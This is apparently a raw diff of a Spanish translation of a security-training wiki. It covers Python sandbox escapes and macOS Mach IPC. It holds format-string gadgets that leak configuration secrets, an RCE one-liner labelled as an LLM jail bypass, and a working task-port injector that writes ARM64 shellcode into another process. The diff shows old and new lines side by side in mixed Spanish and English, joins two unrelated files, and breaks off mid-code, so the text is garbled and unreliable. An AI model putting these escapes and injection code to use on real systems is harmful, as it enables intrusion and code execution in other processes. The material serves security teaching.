Observa cómo puedes **acceder a atributos** de forma normal con un **punto** como `people_obj.__init__` y a **elementos de dict** con **paréntesis** sin comillas `__globals__[CONFIG]`
Observa cómo puedes **acceder a atributos** de la forma habitual con un **punto** como `people_obj.__init__` y a un **elemento de dict** con **paréntesis** sin comillas `__globals__[CONFIG]`
También observa que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
También ten en cuenta que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Otra característica interesante de las cadenas de formato es la posibilidad de **ejecutar** las **funciones** **`str`**, **`repr`** y **`ascii`** en el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
Otra característica interesante de las cadenas de formato es la posibilidad de **ejecutar** las **funciones** **`str`**, **`repr`** y **`ascii`** sobre el objeto indicado añadiendo **`!s`**, **`!r`**, **`!a`** respectivamente:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -712,10 +711,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Más ejemplos** sobre **format** **string** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
**Más ejemplos** sobre **format** **string** pueden encontrarse en [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Consulte también la siguiente página para gadgets que r**ead sensitive information from Python internal objects**:
> Consulta también la siguiente página para gadgets que l**eer información sensible de los objetos internos de Python**:
{{#ref}}
@ -740,20 +739,20 @@ str(x) # Out: clueless
```
### LLM Jails bypass
Desde [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### De format a RCE cargando librerías
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) es posible cargar librerías arbitrarias desde disco abusando de la vulnerabilidad de format string en python.
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
Hay más ejemplos como este en la sección [**Python execution without calls**](#python-execution-without-calls).
Hay más como esto en la sección [**Python execution without calls**](#python-execution-without-calls).
Una vulnerabilidad de format string en python no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
Sin embargo, es posible usar `[]`. Por lo tanto, si una librería común de python tiene un método **`__getitem__`** o **`__getattr__`** que ejecuta código arbitrario, es posible abusar de ellos para obtener RCE.
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
Sin embargo, es posible usar `[]`. Por lo tanto, si una librería python común tiene un método **`__getitem__`** o **`__getattr__`** que ejecuta código arbitrario, es posible abusar de ellos para obtener RCE.
Buscando un gadget así en python, el writeup propone esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Allí encontró este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Buscando un gadget así en python, el writeup propone esta [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Donde encontró este [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -775,18 +774,18 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Este gadget permite **load a library from disk**. Por lo tanto, es necesario, de alguna forma, **write or upload the library to load** correctamente compilada al servidor atacado.
Este gadget permite **load a library from disk**. Por lo tanto, es necesario, de alguna manera, **write or upload the library to load** correctamente compilada para el servidor atacado.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
El challenge en realidad abusa de otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.
El reto en realidad explota otra vulnerabilidad en el servidor que permite crear archivos arbitrarios en el disco del servidor.
## Analizando objetos de Python
## Desglosando objetos de Python
> [!TIP]
> Si quieres **aprender** en profundidad sobre **python bytecode**, lee este artículo **imprescindible** sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Si quieres **aprender** sobre **python bytecode** en profundidad, lee este **excelente** artículo sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
En algunos CTFs podrías recibir el nombre de una **función personalizada donde reside la flag** y necesitarías ver los **internos** de la **función** para extraerla.
En algunos CTFs se te puede proporcionar el nombre de una **función personalizada donde reside la flag** y necesitas ver los **detalles internos** de la **función** para extraerla.
Esta es la función a inspeccionar:
```python
@ -808,7 +807,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` y `func_globals` (mismo) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
`__globals__` and `func_globals`(Igual) Obtiene el entorno global. En el ejemplo puedes ver algunos módulos importados, algunas variables globales y su contenido declarado:
```python
get_flag.func_globals
get_flag.__globals__
@ -909,7 +908,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Ten en cuenta que **si no puedes importar `dis` en el python sandbox** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`) pero puedes deducirlo a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el offset de la variable que se está cargando.
Ten en cuenta que **si no puedes importar `dis` en el python sandbox** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **disassemble** el **bytecode** localmente. No verás el contenido de las variables que se cargan (`LOAD_CONST`) pero puedes adivinarlas a partir de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el offset de la variable que se está cargando.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -947,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Creando el code object
### Creando el objeto code
Antes que nada, necesitamos saber **cómo crear y ejecutar un code object** para que podamos crear uno para ejecutar nuestra función leaked:
Antes que nada, necesitamos saber **cómo crear y ejecutar un objeto code** para que podamos crear uno que ejecute nuestra función leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -969,7 +968,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de saber el orden de los parámetros en la versión de python que estás ejecutando es ejecutar:
> Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de saber el orden de los params en la versión de python que estás ejecutando es ejecutar:
>
> ```
> import types
@ -980,7 +979,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### Recreando una leaked función
> [!WARNING]
> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente desde el code object de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** son lo que **necesitarás leak**.
> En el siguiente ejemplo, vamos a tomar todos los datos necesarios para recrear la función directamente desde el objeto code de la función. En un **ejemplo real**, todos los **valores** para ejecutar la función **`code_type`** serán lo que **necesitarás leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -991,10 +990,10 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Eludir defensas
### Bypass Defenses
En ejemplos anteriores al comienzo de este post, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **one liner** (y podríamos hacer lo mismo usando **`exec`**).\
De todas formas, a veces puede ser útil **crear** un **compiled object** en una máquina local y ejecutarlo en la **CTF machine** (por ejemplo porque no tenemos la función `compiled` en la CTF).
En ejemplos anteriores al inicio de esta publicación, puedes ver **cómo ejecutar cualquier código python usando la función `compile`**. Esto es interesante porque puedes **ejecutar scripts completos** con bucles y todo en una **una sola línea** (y podríamos hacer lo mismo usando **`exec`**).\
De todos modos, a veces puede ser útil **crear** un **objeto compilado** en una máquina local y ejecutarlo en la **máquina CTF** (por ejemplo porque no tenemos la `compiled` function en el CTF).
Por ejemplo, compilemos y ejecutemos manualmente una función que lee _./poc.py_:
```python
@ -1023,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Si no puedes acceder a `eval` o `exec` podrías crear una **función adecuada**, pero llamarla directamente normalmente va a fallar con: _constructor not accessible in restricted mode_. Así que necesitas una **función que no esté en el entorno restringido para llamar a esta función.**
Si no puedes acceder a `eval` o `exec`, podrías crear una **función adecuada**, pero llamarla directamente normalmente fallará con: _constructor not accessible in restricted mode_. Por eso necesitas una **función que no esté en el entorno restringido para llamar a esta función.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1031,9 +1030,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Descompilar Python compilado
## Decompilación de Python compilado
Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** código python compilado.
Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** código Python compilado.
**Consulta este tutorial**:
@ -1042,11 +1041,11 @@ Usando herramientas como [**https://www.decompiler.com/**](https://www.decompile
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## Varios en Python
## Miscelánea de Python
### Assert
Python ejecutado con optimizaciones con el parámetro `-O` eliminará asset statements y cualquier código condicional al valor de **debug**.\
Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones assert y cualquier código condicional al valor de **debug**.\
Por lo tanto, comprobaciones como
```python
def check_permission(super_user):
@ -1056,7 +1055,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
será eludido
será bypassed
## Referencias

View File

@ -1,836 +0,0 @@
# macOS IPC - Comunicación entre Procesos
{{#include ../../../../banners/hacktricks-training.md}}
## Mensajería Mach a través de Puertos
### Información Básica
Mach utiliza **tareas** como la **unidad más pequeña** para compartir recursos, y cada tarea puede contener **múltiples hilos**. Estas **tareas e hilos están mapeados 1:1 a procesos y hilos POSIX**.
La comunicación entre tareas ocurre a través de la Comunicación Inter-Procesos de Mach (IPC), utilizando canales de comunicación unidireccionales. **Los mensajes se transfieren entre puertos**, que actúan como **colas de mensajes** gestionadas por el núcleo.
Cada proceso tiene una **tabla IPC**, donde es posible encontrar los **puertos mach del proceso**. El nombre de un puerto mach es en realidad un número (un puntero al objeto del núcleo).
Un proceso también puede enviar un nombre de puerto con algunos derechos **a una tarea diferente** y el núcleo hará que esta entrada en la **tabla IPC de la otra tarea** aparezca.
### Derechos de Puerto
Los derechos de puerto, que definen qué operaciones puede realizar una tarea, son clave para esta comunicación. Los posibles **derechos de puerto** son ([definiciones de aquí](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Derecho de Recepción**, que permite recibir mensajes enviados al puerto. Los puertos Mach son colas MPSC (productor múltiple, consumidor único), lo que significa que solo puede haber **un derecho de recepción para cada puerto** en todo el sistema (a diferencia de los pipes, donde múltiples procesos pueden tener descriptores de archivo para el extremo de lectura de un pipe).
- Una **tarea con el Derecho de Recepción** puede recibir mensajes y **crear Derechos de Envío**, permitiéndole enviar mensajes. Originalmente, solo la **propia tarea tiene Derecho de Recepción sobre su puerto**.
- **Derecho de Envío**, que permite enviar mensajes al puerto.
- El Derecho de Envío puede ser **clonado**, por lo que una tarea que posee un Derecho de Envío puede clonar el derecho y **otorgarlo a una tercera tarea**.
- **Derecho de Envío-una-vez**, que permite enviar un mensaje al puerto y luego desaparece.
- **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden usar para escuchar en varios puertos simultáneamente, muy parecido a `select`/`poll`/`epoll`/`kqueue` en Unix.
- **Nombre muerto**, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando un puerto es destruido, todos los derechos de puerto existentes al puerto se convierten en nombres muertos.
**Las tareas pueden transferir derechos de ENVÍO a otras**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.
### Puertos de Archivo
Los puertos de archivo permiten encapsular descriptores de archivo en puertos Mac (utilizando derechos de puerto Mach). Es posible crear un `fileport` a partir de un FD dado utilizando `fileport_makeport` y crear un FD a partir de un fileport utilizando `fileport_makefd`.
### Estableciendo una comunicación
#### Pasos:
Como se menciona, para establecer el canal de comunicación, el **servidor de arranque** (**launchd** en mac) está involucrado.
1. La tarea **A** inicia un **nuevo puerto**, obteniendo un **derecho de RECEPCIÓN** en el proceso.
2. La tarea **A**, siendo la titular del derecho de RECEPCIÓN, **genera un derecho de ENVÍO para el puerto**.
3. La tarea **A** establece una **conexión** con el **servidor de arranque**, proporcionando el **nombre del servicio del puerto** y el **derecho de ENVÍO** a través de un procedimiento conocido como el registro de arranque.
4. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **para el nombre del servicio**. Si tiene éxito, el **servidor duplica el derecho de ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**.
5. Al adquirir un derecho de ENVÍO, la tarea **B** es capaz de **formular** un **mensaje** y enviarlo **a la tarea A**.
6. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **derecho de RECEPCIÓN** y un **derecho de ENVÍO**, y otorga el **derecho de ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamando un nombre de servicio de autorización** y luego aprobando cada solicitud.
Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios **protegidos por SIP**: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se **almacena el binario asociado**. El servidor de arranque creará y mantendrá un **derecho de RECEPCIÓN para cada uno de estos nombres de servicio**.
Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente:
- La tarea **B** inicia una búsqueda de arranque **para un nombre de servicio**.
- **launchd** verifica si la tarea está en ejecución y, si no lo está, **la inicia**.
- La tarea **A** (el servicio) realiza un **check-in de arranque**. Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**.
- launchd duplica el **derecho de ENVÍO y lo envía a la tarea B**.
- La tarea **B** genera un nuevo puerto con un **derecho de RECEPCIÓN** y un **derecho de ENVÍO**, y otorga el **derecho de ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación.
### Un Mensaje Mach
[Encuentra más información aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
La función `mach_msg`, esencialmente una llamada al sistema, se utiliza para enviar y recibir mensajes Mach. La función requiere que el mensaje a enviar sea el argumento inicial. Este mensaje debe comenzar con una estructura `mach_msg_header_t`, seguida por el contenido real del mensaje. La estructura se define de la siguiente manera:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Los procesos que poseen un _**derecho de recepción**_ pueden recibir mensajes en un puerto Mach. Por el contrario, a los **remitentes** se les concede un _**derecho de envío**_ o un _**derecho de envío-una-vez**_. El derecho de envío-una-vez es exclusivamente para enviar un solo mensaje, después del cual se vuelve inválido.
Para lograr una **comunicación bidireccional** fácil, un proceso puede especificar un **puerto mach** en el **encabezado del mensaje** mach llamado el _puerto de respuesta_ (**`msgh_local_port`**) donde el **receptor** del mensaje puede **enviar una respuesta** a este mensaje. Los bits en **`msgh_bits`** se pueden usar para **indicar** que un **derecho de envío-una-vez** debe ser derivado y transferido para este puerto (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Tenga en cuenta que este tipo de comunicación bidireccional se utiliza en mensajes XPC que esperan una respuesta (`xpc_connection_send_message_with_reply` y `xpc_connection_send_message_with_reply_sync`). Pero **generalmente se crean diferentes puertos** como se explicó anteriormente para crear la comunicación bidireccional.
Los otros campos del encabezado del mensaje son:
- `msgh_size`: el tamaño de todo el paquete.
- `msgh_remote_port`: el puerto en el que se envía este mensaje.
- `msgh_voucher_port`: [vouchers mach](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: el ID de este mensaje, que es interpretado por el receptor.
> [!CAUTION]
> Tenga en cuenta que **los mensajes mach se envían a través de un \_puerto mach**\_, que es un canal de comunicación **un solo receptor**, **múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos** pueden **enviar mensajes** a un puerto mach, pero en cualquier momento solo **un solo proceso puede leer** de él.
### Enumerar puertos
```bash
lsmp -p <pid>
```
Puedes instalar esta herramienta en iOS descargándola de [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Ejemplo de código
Nota cómo el **emisor** **asigna** un puerto, crea un **derecho de envío** para el nombre `org.darlinghq.example` y lo envía al **servidor de arranque** mientras el emisor solicitó el **derecho de envío** de ese nombre y lo utilizó para **enviar un mensaje**.
{{#tabs}}
{{#tab name="receiver.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{{#endtab}}
{{#tab name="sender.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{{#endtab}}
{{#endtabs}}
### Puertos Privilegiados
- **Puerto de host**: Si un proceso tiene privilegio de **Enviar** sobre este puerto, puede obtener **información** sobre el **sistema** (por ejemplo, `host_processor_info`).
- **Puerto de privilegio de host**: Un proceso con derecho de **Enviar** sobre este puerto puede realizar **acciones privilegiadas** como cargar una extensión del kernel. El **proceso necesita ser root** para obtener este permiso.
- Además, para llamar a la API **`kext_request`** es necesario tener otros derechos **`com.apple.private.kext*`** que solo se otorgan a los binarios de Apple.
- **Puerto de nombre de tarea:** Una versión no privilegiada del _puerto de tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`.
- **Puerto de tarea** (también conocido como puerto del kernel): Con permiso de Enviar sobre este puerto es posible controlar la tarea (leer/escribir memoria, crear hilos...).
- Llama a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea que llama. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["baile de intercambio de puertos"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mientras se realiza un `fork()`.
- Estas son las restricciones para acceder al puerto (de `macos_task_policy` del binario `AppleMobileFileIntegrity`):
- Si la aplicación tiene el derecho **`com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción.
- Las aplicaciones con el derecho **`com.apple.system-task-ports`** pueden obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se concede a aplicaciones de Apple.
- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un tiempo de ejecución **endurecido** (y no de Apple).
### Inyección de Shellcode en hilo a través del Puerto de Tarea
Puedes obtener un shellcode de:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{{#endtab}}
{{#tab name="entitlements.plist"}}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{{#endtab}}
{{#endtabs}}
**Compila** el programa anterior y añade los **entitlements** para poder inyectar código con el mismo usuario (si no, necesitarás usar **sudo**).
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
